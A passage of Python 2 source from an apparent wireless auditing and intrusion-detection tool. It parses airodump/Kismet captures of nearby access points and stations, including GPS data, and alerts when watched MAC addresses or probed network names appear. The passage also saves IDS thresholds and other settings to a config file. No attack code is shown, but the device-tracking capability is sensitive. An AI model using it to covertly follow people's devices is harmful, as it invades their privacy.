                                ListInfo_Privacy[foundloc] = Privacy
                                ListInfo_Cipher[foundloc] = Ciper
                                ListInfo_Auth[foundloc] = Auth
                            if ESSID!="":
                                if str(ESSID).find("...")==-1 and str(ESSID).find("\\x")==-1:
                                    ListInfo_ESSID[foundloc] = ESSID
                                else:
                                    if str(ListInfo_ESSID[foundloc])== "":
                                        ListInfo_ESSID[foundloc] = ESSID
                            ListInfo_MaxRate[foundloc] = LineList[9]
                            ListInfo_Beacon[foundloc] = LineList[11]
                            ListInfo_Data[foundloc] = LineList[13]
                            ListInfo_Total[foundloc] = LineList[16]
                            ListInfo_FirstSeen[foundloc] = StartTime
                            ListInfo_LastSeen[foundloc] = EndTime
                            ListInfo_BestQuality[foundloc] = LineList[21]
                            ListInfo_BestSignal[foundloc] = LineList[22]
                            ListInfo_BestNoise[foundloc] = LineList[23]
                            ListInfo_GPSBestLat[foundloc] = LineList[32]
                            ListInfo_GPSBestLon[foundloc] = LineList[33]
                            ListInfo_GPSBestAlt[foundloc] = LineList[34]
                            ListInfo_QualityRange[foundloc] = QRange
                            ListInfo_QualityPercent[foundloc] = str(QualityPercent)
                            ListInfo_BSSID_OUI[foundloc] = str(BSSID_OUI)
                            ListInfo_ConnectedClient[foundloc]="0"
                            Elapse=CalculateTime (StartTime,EndTime)
                            __builtin__.ListInfo_SSIDElapse[foundloc]= str(Elapse)
                            __builtin__.ListInfo_SSIDTimeGap[foundloc]= __builtin__.TimeGap
                            __builtin__.ListInfo_SSIDTimeGapFull[foundloc]= __builtin__.TimeGapFull
    printl (spacing + fcolor.BGreen + "Access Points extraction completed..\r","0","")

def ExtractDump2():
    if NoKill=="":
        if __builtin__.DumpProc!="":
            KillSubProc(str(__builtin__.DumpProc))
        RunAirodump()
        cmdLine="ps -eo pid | grep '" + str(__builtin__.DumpProc) + "'"
        ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE)	
        readout=str(ps.stdout.read().replace("\n",""))
        readout=str(readout).lstrip().rstrip()
        ps.wait();ps.stdout.close()
        __builtin__.DumpProc=str(__builtin__.DumpProc)
        if str(readout)!=str(__builtin__.DumpProc):
            printc ("!", "[Network Monitor stopped - Restarting]","")
            RunAirodump()
            time.sleep(1)
        cmdLine="ps -eo pid | grep '" + str(__builtin__.WashProc) + "'"
        __builtin__.WashProc=str(__builtin__.WashProc)
        ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE)	
        readout=str(ps.stdout.read().replace("\n",""))
        readout=str(readout).lstrip().rstrip()
        ps.wait();ps.stdout.close()
    LineList = []
    Encryption = []
    __builtin__.ListInfo_Exist = 0
    __builtin__.ListInfo_Add = 0
    if IsFileDirExist(__builtin__.NewCaptured_Kismet)=="F":
        with open(__builtin__.NewCaptured_Kismet,"r") as f:
            for line in f:
                line=line.replace("\n","")
                line=line.replace("\00","")
                if line.find("Network;NetType;ESSID;BSSID;Info;Channel")==-1 and len(line)>10:
                    line=line + "0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;"
                    LineList=line.split(";")
                    BSSID=LineList[3]
                    if len(BSSID)==17:
                        ESSID=LineList[2]
                        if len(ESSID)==0:
                            ESSID=""
                        if len(ESSID)>=32:
                            ESSID=ESSID[:-32]
                        x=0
                        foundloc=0
                        Skip=""
                        mi=FindMACIndex(BSSID,ListInfo_BSSID)
                        if mi!=-1:
                            foundloc=mi
                            Skip="1"
                            if IsAscii(ESSID)==True and ESSID.find("\\x")==-1:
                                if ListInfo_BSSID[foundloc]==BSSID:
                                    if ListInfo_ESSID[foundloc]!="" and IsAscii(ESSID)==True and ESSID.find("\\x")==-1:
                                        ESSID=ListInfo_ESSID[foundloc]
                        QualityPercent=0
                        QRange=fcolor.SBlack + "Unknown"
                        if len(LineList[21])>1 and len(LineList[21])<4:
                            if str(LineList[21])=="No" or str(LineList[21])=="Yes":
                                LineList[21]=-1
                            QualityPercent=int(100 + int(LineList[21]))
                            if QualityPercent>=99 or QualityPercent==0:  
                                QRange=fcolor.SBlack + "Unknown"
                            if QualityPercent>=70 and QualityPercent<=98:
                                QRange=fcolor.SGreen + "V.Good"
                            if QualityPercent>=50 and QualityPercent<=69:
                                QRange=fcolor.SGreen + "Good"
                            if QualityPercent>=26 and QualityPercent<=49:
                                QRange=fcolor.SYellow + "Average"
                            if QualityPercent>=1 and QualityPercent<=25:
                                QRange=fcolor.SRed + "Poor"
                        Encryption=LineList[7].split(",")
                        Encryption.append ("-");Encryption.append ("-");Encryption.append ("-")
                        Privacy="";Ciper="";Auth=""
                        Privacy=Encryption[0];Ciper=Encryption[1];Auth=Encryption[2];
                        HiddenSSID="No"
                        if len(LineList[2])==0:
                            HiddenSSID="Yes"
                        BSSID_OUI=Check_OUI(BSSID,"")
                        StartTime=LineList[19].lstrip().rstrip()
                        StartTime2=str(LineList[19]).lstrip().rstrip()
                        EndTime=LineList[20].lstrip().rstrip()
                        StartTime=ConvertDateFormat(StartTime,"%c")
                        EndTime=ConvertDateFormat(EndTime,"%c")
                        if Skip=="":
                            __builtin__.ListInfo_Add += 1
                            ListInfo_ESSID.append (ESSID)
                            ListInfo_HiddenSSID.append (HiddenSSID)
                            ListInfo_BSSIDTimes.append ("1")
                            ListInfo_BSSID.append (LineList[3])
                            ListInfo_Channel.append (LineList[5])
                            ListInfo_APStandard.append ("-")
                            ListInfo_ESS.append ("-")
                            ListInfo_Cloaked.append (LineList[6])
                            ListInfo_Privacy.append (Privacy)
                            ListInfo_Cipher.append (Ciper)
                            ListInfo_Auth.append (Auth)
                            ListInfo_MaxRate.append (LineList[9])
                            ListInfo_Beacon.append (LineList[11])
                            ListInfo_Data.append (LineList[13])
                            ListInfo_Total.append (LineList[16])
                            ListInfo_FirstSeen.append (StartTime)
                            ListInfo_LastSeen.append (EndTime)
                            ListInfo_BestQuality.append (LineList[21])
                            ListInfo_BestSignal.append (LineList[22])
                            ListInfo_BestNoise.append (LineList[23])
                            ListInfo_GPSBestLat.append (LineList[32])
                            ListInfo_GPSBestLon.append (LineList[33])
                            ListInfo_GPSBestAlt.append (LineList[34])
                            ListInfo_QualityRange.append(QRange)
                            ListInfo_QualityPercent.append (str(QualityPercent))
                            ListInfo_BSSID_OUI.append(BSSID_OUI)
                            ListInfo_WPS.append (str("-"))
                            ListInfo_WPSVer.append (str("-"))
                            ListInfo_WPSLock.append (str("-"))
                            ListInfo_ConnectedClient.append ("0")
                            __builtin__.ListInfo_Freq.append (str(GetFrequency(LineList[5])))
                            __builtin__.ListInfo_Signal.append (str("-"))
                            __builtin__.ListInfo_Enriched.append (str(""))
                            __builtin__.ListInfo_Quality.append (str("-"))
                            __builtin__.ListInfo_BitRate.append (str("-"))
                            __builtin__.ListInfo_WPAVer.append (str("-"))
                            __builtin__.ListInfo_PairwiseCipher.append (str("-"))
                            __builtin__.ListInfo_GroupCipher.append (str("-"))
                            __builtin__.ListInfo_AuthSuite.append (str("-"))
                            __builtin__.ListInfo_LastBeacon.append (str("-"))
                            __builtin__.ListInfo_Mode.append (str("-"))
                            __builtin__.ListInfo_EncKey.append (str("-"))
                            Elapse=CalculateTime (StartTime,EndTime)
                            __builtin__.ListInfo_SSIDElapse.append (Elapse)
                            __builtin__.ListInfo_SSIDTimeGap.append (__builtin__.TimeGap)
                            __builtin__.ListInfo_SSIDTimeGapFull.append (__builtin__.TimeGapFull)
                        else:
                            __builtin__.ListInfo_Exist += 1
                            Times=ListInfo_BSSIDTimes[foundloc]
                            Times=int(Times)+1
                            ListInfo_BSSIDTimes[foundloc]=Times
                            ListInfo_HiddenSSID[foundloc]= HiddenSSID
                            ListInfo_BSSID[foundloc] = LineList[3]
                            if LineList[5]>0:
                                ListInfo_Channel[foundloc] =  LineList[5]
                            ListInfo_Cloaked[foundloc] = LineList[6]
                            if __builtin__.ListInfo_Enriched[foundloc]!="Yes":
                                ListInfo_Privacy[foundloc] = Privacy
                                ListInfo_Cipher[foundloc] = Ciper
                                ListInfo_Auth[foundloc] = Auth
                            if ESSID!="":
                                if str(ESSID).find("...")==-1 and str(ESSID).find("\\x")==-1:
                                    ListInfo_ESSID[foundloc] = ESSID
                                else:
                                    if str(ListInfo_ESSID[foundloc])== "":
                                        ListInfo_ESSID[foundloc] = ESSID
                            ListInfo_MaxRate[foundloc] = LineList[9]
                            ListInfo_Beacon[foundloc] = LineList[11]
                            ListInfo_Data[foundloc] = LineList[13]
                            ListInfo_Total[foundloc] = LineList[16]
                            ListInfo_FirstSeen[foundloc] = StartTime
                            ListInfo_LastSeen[foundloc] = EndTime
                            ListInfo_BestQuality[foundloc] = LineList[21]
                            ListInfo_BestSignal[foundloc] = LineList[22]
                            ListInfo_BestNoise[foundloc] = LineList[23]
                            ListInfo_GPSBestLat[foundloc] = LineList[32]
                            ListInfo_GPSBestLon[foundloc] = LineList[33]
                            ListInfo_GPSBestAlt[foundloc] = LineList[34]
                            ListInfo_QualityRange[foundloc] = QRange
                            ListInfo_QualityPercent[foundloc] = str(QualityPercent)
                            ListInfo_BSSID_OUI[foundloc] = str(BSSID_OUI)
                            ListInfo_ConnectedClient[foundloc]="0"
                            Elapse=CalculateTime (StartTime,EndTime)
                            __builtin__.ListInfo_SSIDElapse[foundloc]= str(Elapse)
                            __builtin__.ListInfo_SSIDTimeGap[foundloc]= __builtin__.TimeGap
                            __builtin__.ListInfo_SSIDTimeGapFull[foundloc]= __builtin__.TimeGapFull

def HighlightMonitoringMAC(MACAddr):
    x=0
    while x<len(__builtin__.MonitoringMACList):
        if MACAddr==__builtin__.MonitoringMACList[x]:
            MACAddr=fcolor.BRed + MACAddr
            return MACAddr
        x += 1
    return MACAddr

def GetWhitelist():
    WhitelistStr=""
    __builtin__.WhiteMACList=[]
    __builtin__.WhiteNameList=[]
    if IsFileDirExist(WhitelistFile)=="F":
        with open(WhitelistFile,"r") as f:
            for line in f:
                line=line.replace("\n","")
                line=line.replace("\00","")
                if len(line) > 10:
                    if line[:8]=="MACID : ":
                        line=line[8:]
                        if len(line)==17:
                            __builtin__.WhiteMACList.append(line)
                    if line[:8]=="ESSID : ":
                        line=line[8:]
                        __builtin__.WhiteNameList.append(line)
    else:
        open(WhitelistFile,"a+b").write("")

def SaveWhitelist():
    if len(__builtin__.WhiteMACList)>0 or len(__builtin__.WhiteNameList)>0:
        open(WhitelistFile,"w").write("")
        x=0
        while x < len(__builtin__.WhiteMACList):
            open(WhitelistFile,"a+b").write("MACID : " + str(__builtin__.WhiteMACList[x]) + "\n")
            x=x+1
        x=0
        while x < len(__builtin__.WhiteNameList):
            open(WhitelistFile,"a+b").write("ESSID : " + str(__builtin__.WhiteNameList[x]) + "\n")
            x=x+1

def GetMonitoringMAC():
    MonitoringMACStr=""
    __builtin__.MonitoringMACList=[]
    __builtin__.MonitoringNameList=[]
    if IsFileDirExist(MonitorMACfile)=="F":
        with open(MonitorMACfile,"r") as f:
            for line in f:
                line=line.replace("\n","")
                line=line.replace("\00","")
                if len(line) > 10:
                    if line[:8]=="MACID : ":
                        line=line[8:]
                        if len(line)==17:
                            __builtin__.MonitoringMACList.append(line)
                    if line[:8]=="ESSID : ":
                        line=line[8:]
                        __builtin__.MonitoringNameList.append(line)
    else:
        open(MonitorMACfile,"a+b").write("")

def DisplayMonitoringMAC():
    if len(__builtin__.MonitoringMACList)==0 and len(__builtin__.MonitoringNameList)==0:
        printc ("i","No items was specified in current setting..","")
    else:
        printc (".", fcolor.BPink + "List of Monitoring Items","")
        x=0
        while x < len(__builtin__.MonitoringMACList):
            printc (" ",fcolor.SWhite + "MAC  : " + fcolor.BGreen + str(__builtin__.MonitoringMACList[x]),"")
            x=x+1
        x=0
        while x < len(__builtin__.MonitoringNameList):
            printc (" ",fcolor.SWhite + "Name : " + fcolor.BGreen + str(__builtin__.MonitoringNameList[x]),"")
            x=x+1
        LineBreak()

def SaveMonitoringMAC():
    if len(__builtin__.MonitoringMACList)>0 or len(__builtin__.MonitoringNameList)>0:
        open(MonitorMACfile,"w").write("")
        x=0
        while x < len(__builtin__.MonitoringMACList):
            open(MonitorMACfile,"a+b").write("MACID : " + str(__builtin__.MonitoringMACList[x]) + "\n")
            x=x+1
        x=0
        while x < len(__builtin__.MonitoringNameList):
            open(MonitorMACfile,"a+b").write("ESSID : " + str(__builtin__.MonitoringNameList[x]) + "\n")
            x=x+1

def CheckMonitoringMAC():
    List_MonitoringMAC=[]
    if len(__builtin__.MonitoringMACList)>0 or len(__builtin__.MonitoringNameList)>0:
        FoundCount=0
        InactiveCount=0
        InActiveMAC=""
        __builtin__.FoundMonitoringMAC=""
        x=0
        while x < len(__builtin__.MonitoringMACList):
            y=0
            while y < len(ListInfo_BSSID):
                if __builtin__.MonitoringMACList[x].upper()==ListInfo_BSSID[y].upper():
                    if int(__builtin__.ListInfo_SSIDTimeGap[y]) < int(__builtin__.HIDE_AFTER_MIN):
                        FoundCount += 1
                        __builtin__.FoundMonitoringMAC = __builtin__.FoundMonitoringMAC + fcolor.SWhite + "[" + fcolor.BGreen + str(FoundCount) + fcolor.SWhite + "]".ljust(4) + fcolor.SGreen + "L.Seen  : " + fcolor.BWhite + str(ListInfo_LastSeen[y]).ljust(24) +   fcolor.SGreen + "BSSID   : " + fcolor.BYellow + str(ListInfo_BSSID[y]) + "\t" + fcolor.SGreen + "Power : " + fcolor.BWhite + str(ListInfo_BestQuality[y]).ljust(8) + fcolor.SGreen + "ESSID : " + fcolor.BWhite + str(ListInfo_ESSID[y]) + "\n"
                        AddMACToList(__builtin__.MonitoringMACList[x].upper(),List_MonitoringMAC)
                    else:
                        InactiveCount += 1
                        InActiveMAC= InActiveMAC + fcolor.SWhite + "[" + fcolor.BGreen + str(InactiveCount) + fcolor.SWhite + "]".ljust(4) + fcolor.SGreen + "L.Seen  : " + fcolor.SWhite +  str(ListInfo_LastSeen[y]).ljust(24) + fcolor.SGreen + "BSSID   : " + fcolor.SYellow + str(ListInfo_BSSID[y]) + "\t" + fcolor.SGreen + "Power : " + fcolor.BWhite + str(ListInfo_BestQuality[y]).ljust(8) + fcolor.SGreen + "ESSID : " + fcolor.SWhite + str(ListInfo_ESSID[y]) + "\n"
                y=y+1
            y=0
            while y < len(ListInfo_STATION):
                if __builtin__.MonitoringMACList[x].upper()==ListInfo_STATION[y].upper():
                    if int(__builtin__.ListInfo_CTimeGap[y]) < int(__builtin__.HIDE_AFTER_MIN):
                        FoundCount += 1
                        __builtin__.FoundMonitoringMAC= __builtin__.FoundMonitoringMAC + fcolor.SWhite + "[" + fcolor.BGreen + str(FoundCount) + fcolor.SWhite + "]".ljust(4) + fcolor.SGreen + "L.Seen  : " + fcolor.BWhite + str(ListInfo_CLastSeen[y]).ljust(24)  + fcolor.SGreen + "Station : " + fcolor.BYellow + ListInfo_STATION[y] + "\t" + fcolor.SGreen + "Power : " + fcolor.BWhite + str(ListInfo_CBestQuality[y]).ljust(8) + fcolor.SGreen 
                        AddMACToList(str(__builtin__.MonitoringMACList[x]).upper(),List_MonitoringMAC)
                        if ListInfo_CBSSID[y]!="":
                            ESSID=FindESSID(ListInfo_CBSSID[y])
                            if ListInfo_CBSSID[y].find("Not Associated")==-1:
                                __builtin__.FoundMonitoringMAC= __builtin__.FoundMonitoringMAC + fcolor.SGreen + "BSSID : " + fcolor.BWhite + str(ListInfo_CBSSID[y]) + fcolor.SGreen + "  [ " + fcolor.BWhite + str(ESSID) + fcolor.SGreen + " ]\n"
                            else:
                                __builtin__.FoundMonitoringMAC= __builtin__.FoundMonitoringMAC + fcolor.SGreen + "BSSID : " + fcolor.BIGray + "Not Associated\n"
                        if ListInfo_PROBE[y]!="":
                            if ListInfo_CBSSID[y]!="":
                                __builtin__.FoundMonitoringMAC= __builtin__.FoundMonitoringMAC + fcolor.SGreen + "      Probe   : " + fcolor.BBlue  + str(ListInfo_PROBE[y]) + "\n"
                    else:
                        InactiveCount += 1
                        InActiveMAC = InActiveMAC  + fcolor.SWhite + "[" + fcolor.BGreen + str(InactiveCount) + fcolor.SWhite + "]".ljust(4) + fcolor.SGreen + "L.Seen  : " + fcolor.SWhite + str(ListInfo_CLastSeen[y]).ljust(24) + fcolor.SGreen + "Station : " + fcolor.SYellow + ListInfo_STATION[y] + "\t" + fcolor.SGreen + "Power : " + fcolor.SWhite + str(ListInfo_CBestQuality[y]).ljust(8) + fcolor.SGreen 
                        if ListInfo_CBSSID[y]!="":
                            ESSID=FindESSID(ListInfo_CBSSID[y])
                            if ListInfo_CBSSID[y].find("Not Associated")==-1:
                                InActiveMAC = InActiveMAC + fcolor.SGreen + "BSSID : " + fcolor.SWhite + str(ListInfo_CBSSID[y]) + fcolor.SWhite + "  [ " + fcolor.SWhite + str(ESSID) + fcolor.SGreen + " ]\n"
                            else:
                                InActiveMAC = InActiveMAC + fcolor.SGreen + "BSSID : " + fcolor.SBlack + "Not Associated\n"
                        if ListInfo_PROBE[y]!="":
                            InActiveMAC = InActiveMAC + fcolor.SGreen + "      Probe   : " + fcolor.SBlue + str(ListInfo_PROBE[y]) + "\n"
                y=y+1
            x=x+1
        x=0
        while x < len(__builtin__.MonitoringNameList):
            y=0
            while y < len(ListInfo_BSSID):
                if __builtin__.MonitoringNameList[x].upper()==ListInfo_ESSID[y].upper():
                    if int(__builtin__.ListInfo_SSIDTimeGap[y]) < int(__builtin__.HIDE_AFTER_MIN):
                        FoundCount += 1
                        __builtin__.FoundMonitoringMAC = __builtin__.FoundMonitoringMAC + fcolor.SWhite + "[" + fcolor.BGreen + str(FoundCount) + fcolor.SWhite + "]".ljust(4) + fcolor.SGreen + "L.Seen  : " + fcolor.BWhite + str(ListInfo_LastSeen[y]).ljust(24) +   fcolor.SGreen + "BSSID   : " + fcolor.BWhite + str(ListInfo_BSSID[y]) + "\t" + fcolor.SGreen + "Power : " + fcolor.BWhite + str(ListInfo_BestQuality[y]).ljust(8) + fcolor.SGreen + "ESSID : " + fcolor.BYellow + str(ListInfo_ESSID[y]) + "\n"
                        AddMACToList(ListInfo_BSSID[y],List_MonitoringMAC)
                    else:
                        InactiveCount += 1
                        InActiveMAC= InActiveMAC + fcolor.SWhite + "[" + fcolor.BGreen + str(InactiveCount) + fcolor.SWhite + "]".ljust(4) + fcolor.SGreen + "L.Seen  : " + fcolor.SWhite +  str(ListInfo_LastSeen[y]).ljust(24) + fcolor.SGreen + "BSSID   : " + fcolor.SWhite + str(ListInfo_BSSID[y]) + "\t" + fcolor.SGreen + "Power : " + fcolor.SWhite + str(ListInfo_BestQuality[y]).ljust(8) + fcolor.SGreen + "ESSID : " + fcolor.SYellow + str(ListInfo_ESSID[y]) + "\n"
                y=y+1
            y=0
            while y < len(ListInfo_STATION):
                if ListInfo_PROBE[y].upper().find(__builtin__.MonitoringNameList[x].upper())!=-1:
                    ProbeName=ListInfo_PROBE[y]
                    if int(__builtin__.ListInfo_CTimeGap[y]) < int(__builtin__.HIDE_AFTER_MIN):
                        FoundCount += 1
                        AddMACToList(ListInfo_STATION[y],List_MonitoringMAC)
                        __builtin__.FoundMonitoringMAC= __builtin__.FoundMonitoringMAC + fcolor.SWhite + "[" + fcolor.BGreen + str(FoundCount) + fcolor.SWhite + "]".ljust(4) + fcolor.SGreen + "L.Seen  : " + fcolor.BWhite + str(ListInfo_CLastSeen[y]).ljust(24)  + fcolor.SGreen + "Station : " + fcolor.BWhite + ListInfo_STATION[y] + "\t" + fcolor.SGreen + "Power : " + fcolor.BWhite + str(ListInfo_CBestQuality[y]).ljust(8) + fcolor.SGreen 
                        if ListInfo_CBSSID[y]!="":
                            ESSID=FindESSID(ListInfo_CBSSID[y])
                            if ListInfo_CBSSID[y].find("Not Associated")==-1:
                                __builtin__.FoundMonitoringMAC= __builtin__.FoundMonitoringMAC + fcolor.SGreen + "BSSID : " + fcolor.BWhite + str(ListInfo_CBSSID[y]) + fcolor.SGreen + "  [ " + fcolor.BWhite + str(ESSID) + fcolor.SGreen + " ]\n"
                            else:
                                __builtin__.FoundMonitoringMAC= __builtin__.FoundMonitoringMAC + fcolor.SGreen + "BSSID : " + fcolor.BIGray + "Not Associated\n"
                        if ListInfo_PROBE[y]!="":
                            ProbeName=ProbeName.replace(__builtin__.MonitoringNameList[x],fcolor.BYellow + __builtin__.MonitoringNameList[x] + fcolor.BBlue)
                            __builtin__.FoundMonitoringMAC= __builtin__.FoundMonitoringMAC + fcolor.SGreen + "      Probe   : " + fcolor.BBlue  + str(ProbeName) + "\n"
                    else:
                        InactiveCount += 1
                        InActiveMAC = InActiveMAC  + fcolor.SWhite + "[" + fcolor.BGreen + str(InactiveCount) + fcolor.SWhite + "]".ljust(4) + fcolor.SGreen + "L.Seen  : " + fcolor.SWhite + str(ListInfo_CLastSeen[y]).ljust(24) + fcolor.SGreen + "Station : " + fcolor.SWhite + ListInfo_STATION[y] + "\t" + fcolor.SGreen + "Power : " + fcolor.SWhite + str(ListInfo_CBestQuality[y]).ljust(8) + fcolor.SGreen 
                        if ListInfo_CBSSID[y]!="":
                            ESSID=FindESSID(ListInfo_CBSSID[y])
                            if ListInfo_CBSSID[y].find("Not Associated")==-1:
                                InActiveMAC = InActiveMAC + fcolor.SGreen + "BSSID : " + fcolor.SWhite + str(ListInfo_CBSSID[y]) + fcolor.SWhite + "  [ " + fcolor.SWhite + str(ESSID) + fcolor.SGreen + " ]\n"
                            else:
                                InActiveMAC = InActiveMAC + fcolor.SGreen + "BSSID : " + fcolor.SBlack + "Not Associated\n"
                        if ListInfo_PROBE[y]!="":
                            ProbeName=ProbeName.replace(__builtin__.MonitoringNameList[x],fcolor.SYellow + __builtin__.MonitoringNameList[x] + fcolor.SBlue)
                            InActiveMAC = InActiveMAC + fcolor.SGreen + "      Probe   : " + fcolor.SBlue + str(ProbeName) + "\n"
                y=y+1
            x=x+1
        if __builtin__.FoundMonitoringMAC!="" or InActiveMAC!="":
            CenterText(fcolor.BGIRed + fcolor.BWhite,"=====  MONITORING   PANEL  ===== ")
            print ""
            BeepSound()
            if __builtin__.FoundMonitoringMAC!="":
                print fcolor.BRed + "FOUND " + str(FoundCount) + " LIVE MONITORED ITEMS !!!"
                print __builtin__.FoundMonitoringMAC
                if __builtin__.SAVE_MONPKT=="Yes":
                    SaveFilteredMAC(List_MonitoringMAC,"MON*",mondir)
            if InActiveMAC!="":
                print fcolor.BRed + "FOUND " + str(InactiveCount) + " INACTIVE MONITORED ITEMS !!!"
                print InActiveMAC
            LineBreak()

def SaveConfig(CMD):
    open(ConfigFile,"w").write("WAIDPS Configuration"+ "\n")
##    open(ConfigFile,"a+b").write("Unique HWIdentifier="+str(__builtin__.HWID) + "\n")
##    open(ConfigFile,"a+b").write("USERNAME="+str(__builtin__.USERNAME) + "\n")
##    open(ConfigFile,"a+b").write("USERHASH="+str(__builtin__.USERHASH) + "\n")
##    open(ConfigFile,"a+b").write("USERPASS="+str(__builtin__.USERPASS) + "\n")
    open(ConfigFile,"a+b").write("DISABLE_BREAK=" + str(DISABLE_BREAK) + "\n")
    open(ConfigFile,"a+b").write("LOAD_WPS=" + str(LOAD_WPS) + "\n")
    open(ConfigFile,"a+b").write("LOAD_IWLIST=" + str(LOAD_IWLIST) + "\n")
    open(ConfigFile,"a+b").write("LOAD_PKTCAPTURE=" + str(LOAD_PKTCAPTURE) + "\n")
    open(ConfigFile,"a+b").write("SAVE_MONPKT=" + str(SAVE_MONPKT) + "\n")
    open(ConfigFile,"a+b").write("SAVE_ATTACKPKT=" + str(SAVE_ATTACKPKT) + "\n")
    open(ConfigFile,"a+b").write("SHOW_CONNECTION_ALERT=" + str(SHOW_CONNECTION_ALERT) + "\n")
    open(ConfigFile,"a+b").write("SHOW_SUSPICIOUS_LISTING=" + str(SHOW_SUSPICIOUS_LISTING) + "\n")
    open(ConfigFile,"a+b").write("SHOW_IDS=" + str(SHOW_IDS) + "\n")
    open(ConfigFile,"a+b").write("HIDE_INACTIVE_SSID=" + str(HIDE_INACTIVE_SSID) + "\n")
    open(ConfigFile,"a+b").write("HIDE_INACTIVE_STN=" + str(HIDE_INACTIVE_STN) + "\n")
    open(ConfigFile,"a+b").write("HIDE_AFTER_MIN=" + str(HIDE_AFTER_MIN)+ "\n")
    open(ConfigFile,"a+b").write("TOTALLY_REMOVE_MIN=" + str(TOTALLY_REMOVE_MIN)+ "\n")
    open(ConfigFile,"a+b").write("NETWORK_VIEW=" + str(NETWORK_VIEW)+ "\n")
    open(ConfigFile,"a+b").write("ALERTSOUND=" + str(ALERTSOUND)+ "\n")
    open(ConfigFile,"a+b").write("TIMEOUT=" + str(__builtin__.TIMEOUT)+ "\n")
    open(ConfigFile,"a+b").write("TIMES_BEFORE_UPDATE_AP_DB=" + str(TIMES_BEFORE_UPDATE_AP_DB) + "\n")
    open(ConfigFile,"a+b").write("TIMES_BEFORE_UPDATE_STN_DB=" + str(TIMES_BEFORE_UPDATE_STN_DB)+ "\n")
    open(ConfigFile,"a+b").write("THRESHOLD_DATA86=" + str(__builtin__.THRESHOLD_DATA86) + "\n")
    open(ConfigFile,"a+b").write("THRESHOLD_DATAARP=" + str(__builtin__.THRESHOLD_DATAARP) + "\n")
    open(ConfigFile,"a+b").write("THRESHOLD_DATA94=" + str(__builtin__.THRESHOLD_DATA94) + "\n")
    open(ConfigFile,"a+b").write("THRESHOLD_DATA98=" + str(__builtin__.THRESHOLD_DATA98) + "\n")
    open(ConfigFile,"a+b").write("HRESHOLD_ASSOC=" + str(__builtin__.THRESHOLD_ASSOC) + "\n")
    open(ConfigFile,"a+b").write("THRESHOLD_DISASSOC=" + str(__builtin__.THRESHOLD_DISASSOC) + "\n")
    open(ConfigFile,"a+b").write("THRESHOLD_REASSOC=" + str(__builtin__.THRESHOLD_REASSOC) + "\n")
    open(ConfigFile,"a+b").write("THRESHOLD_AUTH=" + str(__builtin__.THRESHOLD_AUTH) + "\n")
    open(ConfigFile,"a+b").write("THRESHOLD_DEAUTH=" + str(__builtin__.THRESHOLD_DEAUTH) + "\n")
    open(ConfigFile,"a+b").write("THRESHOLD_DEAUTH_AC=" + str(__builtin__.THRESHOLD_DEAUTH_AC) + "\n")
    open(ConfigFile,"a+b").write("THRESHOLD_EAPOL_STD=" + str(__builtin__.THRESHOLD_EAPOL_STD) + "\n")
    open(ConfigFile,"a+b").write("THRESHOLD_EAPOL_START=" + str(__builtin__.THRESHOLD_EAPOL_START) + "\n")
    open(ConfigFile,"a+b").write("THRESHOLD_WPS=" + str(__builtin__.THRESHOLD_WPS) + "\n")
    open(ConfigFile,"a+b").write("THRESHOLD_QOS=" + str(__builtin__.THRESHOLD_QOS) + "\n")
    open(ConfigFile,"a+b").write("THRESHOLD=" + str(__builtin__.THRESHOLD) + "\n")
    open(ConfigFile,"a+b").write("SENSITIVITY_LVL=" + str(__builtin__.SENSITIVITY_LVL) + "\n")
    if __builtin__.SELECTED_DICT=="":
        __builtin__.SELECTED_DICT=__builtin__.DEFAULT_DICT
    open(ConfigFile,"a+b").write("DICTIONARY=" + str(__builtin__.SELECTED_DICT) + "\n")
    if CMD!="":
        printc ("i",fcolor.BRed + "Application Setting Saved...","")

def LoadConfig():
    tmpList=[]
    if IsFileDirExist(ConfigFile)=="F":
	with open(ConfigFile,"r") as f:
	    for line in f:
                line=line.replace("\n","")
                tmpList=str(line).split("=")
                if len(tmpList)==2:
                    if tmpList[0]=="Unique HWIdentifier" and tmpList[1]!="":
                        __builtin__.HWID_Saved=tmpList[1]
                    if tmpList[0]=="USERNAME" and tmpList[1]!="":
                        __builtin__.USERNAME=tmpList[1]
                    if tmpList[0]=="USERHASH" and tmpList[1]!="":
                        __builtin__.USERHASH=tmpList[1]
                    if tmpList[0]=="USERPASS" and tmpList[1]!="":
                        __builtin__.USERPASS=tmpList[1]
                    if tmpList[0]=="LOAD_WPS" and tmpList[1]!="":
                        __builtin__.LOAD_WPS=tmpList[1]
                    if tmpList[0]=="LOAD_IWLIST" and tmpList[1]!="":
                        __builtin__.LOAD_IWLIST=tmpList[1]
                    if tmpList[0]=="LOAD_PKTCAPTURE" and tmpList[1]!="":
                        __builtin__.LOAD_PKTCAPTURE=tmpList[1]
                    if tmpList[0]=="SAVE_MONPKT" and tmpList[1]!="":
                        __builtin__.SAVE_MONPKT=tmpList[1]
                    if tmpList[0]=="SAVE_ATTACKPKT" and tmpList[1]!="":
                        __builtin__.SAVE_ATTACKPKT=tmpList[1]
                    if tmpList[0]=="SHOW_CONNECTION_ALERT" and tmpList[1]!="":
                        __builtin__.SHOW_CONNECTION_ALERT=tmpList[1]
                    if tmpList[0]=="SHOW_SUSPICIOUS_LISTING" and tmpList[1]!="":
                        __builtin__.SHOW_SUSPICIOUS_LISTING=tmpList[1]
                    if tmpList[0]=="SHOW_IDS" and tmpList[1]!="":
                        __builtin__.SHOW_IDS=tmpList[1]
                    if tmpList[0]=="DISABLE_BREAK" and tmpList[1]!="":
                        __builtin__.DISABLE_BREAK=tmpList[1]
                    if tmpList[0]=="HIDE_INACTIVE_SSID" and tmpList[1]!="":
                        __builtin__.HIDE_INACTIVE_SSID=tmpList[1]
                    if tmpList[0]=="HIDE_AFTER_MIN" and tmpList[1]!="":
                        __builtin__.HIDE_AFTER_MIN=tmpList[1]
                    if tmpList[0]=="TOTALLY_REMOVE_MIN" and tmpList[1]!="":
                        __builtin__.TOTALLY_REMOVE_MIN=tmpList[1]
                    if tmpList[0]=="NETWORK_VIEW" and tmpList[1]!="":
                        __builtin__.NETWORK_VIEW=tmpList[1]
                    if tmpList[0]=="ALERTSOUND" and tmpList[1]!="":
                        __builtin__.ALERTSOUND=tmpList[1]
                    if tmpList[0]=="TIMEOUT" and tmpList[1]!="":
                        __builtin__.TIMEOUT=tmpList[1]
